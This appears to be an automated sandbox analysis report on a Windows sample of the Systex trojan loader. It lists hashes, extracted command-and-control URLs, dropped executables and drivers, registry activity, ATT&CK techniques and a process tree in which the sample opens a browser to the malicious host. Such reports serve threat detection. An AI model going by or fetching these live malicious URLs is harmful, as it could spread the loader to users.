systex | 735555554430b55ebb83a5bcdf795d225bbdbb034b2e4a3f3cf20d05b46177ea

Analysis

max time kernel
148s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/06/2026, 22:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
Size 230KB
Sample260629-2sre3ag16w
SHA256 735555554430b55ebb83a5bcdf795d225bbdbb034b2e4a3f3cf20d05b46177ea
MD5 40c78e12874cda27a96600b0fe6459dd
SHA1 a1c5057e5161f23ea76a4b7a6d6d17cc76d7ce0c
SHA512 8f8aaec898bc62ce76cd93a733c913866f6c478df7e1e23cb9aafb748bd88e9785f15665b8ab44b91da258039c45123deaf185f2c0a16fc990832b90f86e8a5b
SSDEEP 3072:DJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:DghLQ0sQmpcF8BzXfwVfAI
TLSH
T191344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba8102
http://xytets.com:2345/ll/out.txt
http://xytets.com:2345/t.asp?os=home8102

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
5888	CP.exe
1520	snlfdxvqni.exe
3436	CP.exe
1184	CP.exe
3152	i_snlfdxvqni.exe
5840	vsnkfdxvpn.sys
2880	CP.exe
256	pnhfdxvpnh.exe
3016	CP.exe
4144	CP.exe
3028	i_pnhfdxvpnh.exe
1052	smkhczxspn.sys
5252	CP.exe
1128	ecwusmkecw.exe
4528	CP.exe
3784	CP.exe
2012	i_ecwusmkecw.exe
5152	mhecxupmhf.sys
2024	CP.exe
4628	hfzxrpjhcz.exe
3120	CP.exe
2620	CP.exe
2848	i_hfzxrpjhcz.exe
4676	hbzwromgec.sys
5844	CP.exe
4748	bztrpjgeyw.exe
5920	CP.exe
5564	CP.exe
5036	i_bztrpjgeyw.exe
976	heromgeywr.sys
3860	CP.exe
4240	bywqojgbzt.exe
3028	CP.exe
3768	CP.exe
760	i_bywqojgbzt.exe
948	dbytrljdby.sys
5860	CP.exe
2708	gbytjdbvtn.exe
2488	CP.exe
2456	CP.exe
4560	i_gbytjdbvtn.exe
1980	dbvtqolgdy.sys
1064	CP.exe
4424	bvtnlfdyvq.exe
5520	CP.exe
4480	CP.exe
2040	i_bvtnlfdyvq.exe
2124	cavsnlfdxv.sys
5456	CP.exe
4924	avsnkidavs.exe
1188	CP.exe
4892	CP.exe
3060	i_avsnkidavs.exe
3712	avsnkfdxnh.sys
5932	CP.exe
2480	pkicausnkf.exe
1828	CP.exe
3268	CP.exe
3828	i_pkicausnkf.exe
1980	xvpnhfaxsp.sys
1420	CP.exe
2868	xvpnhfzxsp.exe
2712	CP.exe
1652	CP.exe

Drops file in Windows directory 14 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1320_529242217\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1320_529242217\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1320_529242217\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1320_964710063\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1320_964710063\_metadata\verified_contents.json	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1320_78812515\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1320_423523876\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1320_1133515238\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1320_529242217\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1320_964710063\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1320_964710063\sets.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1320_423523876\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1320_1133515238\nav_config.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bywqoljebw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	faxsqkicau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pkicausnkf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ifaxvpnkiu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hcausmkecx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hfzxrpjhcz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rojgeywrom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rojgeywrom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hfzxrpjhcz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bztrpjgeyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bywqojgbzt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gbytjdbvtn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_igaysqlidb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	snlfdxvqni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_snlfdxvqni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_avsnkidavs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rpjhecxupn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bywqoljebw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	igaysqlidb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hcausmkecx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pnhfdxvpnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bvtnlfdyvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	avsnkidavs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xvpnhfzxsp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wqoigbytrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_faxsqkicau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ifaxvpnkiu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bywqojgbzt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gbytjdbvtn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bvtnlfdyvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pkicausnkf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xvpnhfzxsp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_urmjecwuom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wqoigbytrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pnhfdxvpnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ecwusmkecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ecwusmkecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bztrpjgeyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rpjhecxupn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	urmjecwuom.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5596	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3344	ipconfig.exe
5344	ipconfig.exe
1136	ipconfig.exe
1768	ipconfig.exe
2988	ipconfig.exe
1664	ipconfig.exe
2396	ipconfig.exe
2768	ipconfig.exe
4460	ipconfig.exe
4920	ipconfig.exe
1808	ipconfig.exe
4932	ipconfig.exe
3412	ipconfig.exe
2868	ipconfig.exe
5364	ipconfig.exe
1044	ipconfig.exe
3540	ipconfig.exe
2768	ipconfig.exe
2892	ipconfig.exe
2416	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2639994890-966400312-4246138405-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2639994890-966400312-4246138405-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2639994890-966400312-4246138405-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2639994890-966400312-4246138405-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2639994890-966400312-4246138405-1000\{C9C5519E-9118-4258-B3D3-CE6AD9E3E8E6}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
1520	snlfdxvqni.exe
1520	snlfdxvqni.exe
1520	snlfdxvqni.exe
1520	snlfdxvqni.exe
1520	snlfdxvqni.exe
1520	snlfdxvqni.exe
1520	snlfdxvqni.exe
1520	snlfdxvqni.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
1320	msedge.exe
1320	msedge.exe
1320	msedge.exe
1320	msedge.exe
1320	msedge.exe

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	3152	i_snlfdxvqni.exe
Token: SeDebugPrivilege	3028	i_pnhfdxvpnh.exe
Token: SeDebugPrivilege	2012	i_ecwusmkecw.exe
Token: SeDebugPrivilege	2848	i_hfzxrpjhcz.exe
Token: SeDebugPrivilege	5036	i_bztrpjgeyw.exe
Token: SeDebugPrivilege	760	i_bywqojgbzt.exe
Token: SeDebugPrivilege	4560	i_gbytjdbvtn.exe
Token: SeDebugPrivilege	2040	i_bvtnlfdyvq.exe
Token: SeDebugPrivilege	3060	i_avsnkidavs.exe
Token: SeDebugPrivilege	3828	i_pkicausnkf.exe
Token: SeDebugPrivilege	2820	i_xvpnhfzxsp.exe
Token: SeDebugPrivilege	3384	i_rpjhecxupn.exe
Token: SeDebugPrivilege	4372	i_urmjecwuom.exe
Token: SeDebugPrivilege	4120	i_rojgeywrom.exe
Token: SeDebugPrivilege	3384	i_bywqoljebw.exe
Token: SeDebugPrivilege	4476	i_wqoigbytrl.exe
Token: SeDebugPrivilege	240	i_igaysqlidb.exe
Token: SeDebugPrivilege	4932	i_faxsqkicau.exe
Token: SeDebugPrivilege	692	i_ifaxvpnkiu.exe
Token: SeDebugPrivilege	4120	i_hcausmkecx.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1320	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4620 wrote to memory of 4092	4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe	87
PID 4620 wrote to memory of 4424	4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe	88
PID 4092 wrote to memory of 1320	4092	iexplore.exe	89
PID 1320 wrote to memory of 3616	1320	msedge.exe	90
PID 1320 wrote to memory of 1540	1320	msedge.exe	91
PID 1320 wrote to memory of 5596	1320	msedge.exe	92
PID 1320 wrote to memory of 1540	1320	msedge.exe	91
PID 1320 wrote to memory of 1540	1320	msedge.exe	91
PID 1320 wrote to memory of 2260	1320	msedge.exe	93
PID 1320 wrote to memory of 2260	1320	msedge.exe	93
PID 1320 wrote to memory of 1636	1320	msedge.exe	95
PID 1320 wrote to memory of 3640	1320	msedge.exe	96
PID 1320 wrote to memory of 1636	1320	msedge.exe	95
PID 1320 wrote to memory of 1636	1320	msedge.exe	95
PID 1320 wrote to memory of 3640	1320	msedge.exe	96
PID 1320 wrote to memory of 3640	1320	msedge.exe	96
PID 1320 wrote to memory of 5896	1320	msedge.exe	97
PID 1320 wrote to memory of 5896	1320	msedge.exe	97
PID 1320 wrote to memory of 5896	1320	msedge.exe	97
PID 1320 wrote to memory of 5828	1320	msedge.exe	98
PID 1320 wrote to memory of 5828	1320	msedge.exe	98
PID 1320 wrote to memory of 5828	1320	msedge.exe	98
PID 1320 wrote to memory of 3168	1320	msedge.exe	99
PID 1320 wrote to memory of 3168	1320	msedge.exe	99
PID 4620 wrote to memory of 5888	4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe	101
PID 1320 wrote to memory of 5948	1320	msedge.exe	103
PID 1320 wrote to memory of 2904	1320	msedge.exe	104
PID 1320 wrote to memory of 5948	1320	msedge.exe	103
PID 1320 wrote to memory of 2904	1320	msedge.exe	104
PID 1520 wrote to memory of 3436	1520	snlfdxvqni.exe	106
PID 1320 wrote to memory of 1952	1320	msedge.exe	110
PID 1320 wrote to memory of 4836	1320	msedge.exe	111
PID 1320 wrote to memory of 4836	1320	msedge.exe	111
PID 1320 wrote to memory of 2596	1320	msedge.exe	112
PID 1320 wrote to memory of 2596	1320	msedge.exe	112
PID 4620 wrote to memory of 1184	4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe	115
PID 4620 wrote to memory of 2880	4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe	119
PID 256 wrote to memory of 3016	256	pnhfdxvpnh.exe	121
PID 4620 wrote to memory of 4144	4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe	124
PID 4620 wrote to memory of 5252	4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe	128
PID 1128 wrote to memory of 4528	1128	ecwusmkecw.exe	130
PID 4620 wrote to memory of 3784	4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe	133
PID 4620 wrote to memory of 2024	4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe	137
PID 4628 wrote to memory of 3120	4628	hfzxrpjhcz.exe	139
PID 4620 wrote to memory of 2620	4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe	142
PID 1320 wrote to memory of 2040	1320	msedge.exe	144
PID 1320 wrote to memory of 5516	1320	msedge.exe	145
PID 1320 wrote to memory of 2492	1320	msedge.exe	146
PID 4620 wrote to memory of 5844	4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe	149
PID 4748 wrote to memory of 5920	4748	bztrpjgeyw.exe	151
PID 4620 wrote to memory of 5564	4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe	154
PID 4620 wrote to memory of 3860	4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe	158
PID 4240 wrote to memory of 3028	4240	bywqojgbzt.exe	160
PID 4620 wrote to memory of 3768	4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe	163
PID 4620 wrote to memory of 5860	4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe	167
PID 2708 wrote to memory of 2488	2708	gbytjdbvtn.exe	169
PID 4620 wrote to memory of 2456	4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe	172
PID 4620 wrote to memory of 1064	4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe	176
PID 4424 wrote to memory of 5520	4424	bvtnlfdyvq.exe	178
PID 4620 wrote to memory of 4480	4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe	181
PID 1320 wrote to memory of 3064	1320	msedge.exe	183
PID 1320 wrote to memory of 3064	1320	msedge.exe	183
PID 4620 wrote to memory of 5456	4620	2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe	189
PID 4924 wrote to memory of 1188	4924	avsnkidavs.exe	191

C:\Users\Admin\AppData\Local\Temp\2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-25_40c78e12874cda27a96600b0fe6459dd_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4620
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home8102
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:4092
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home8102"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1320
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x374,0x7ffd113fc188,0x7ffd113fc194,0x7ffd113fc1a0
      4⤵
      PID:3616
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1652,i,1476092746922817058,13670152992145894467,262144 --field-trial-handle=2344,i,120122999833799246,10355039877213666179,262144 --variations-seed-version --mojo-platform-channel-handle=2340 /prefetch:2
      4⤵
      PID:1540
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1812,i,8648496460736548104,480768672959339696,524288 --field-trial-handle=2344,i,120122999833799246,10355039877213666179,262144 --variations-seed-version --mojo-platform-channel-handle=2368 /prefetch:11
      4⤵
      System Time Discovery
      PID:5596
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2444,i,10212198465080234291,18332457696425987815,524288 --field-trial-handle=2344,i,120122999833799246,10355039877213666179,262144 --variations-seed-version --mojo-platform-channel-handle=2940 /prefetch:13
      4⤵
      PID:2260
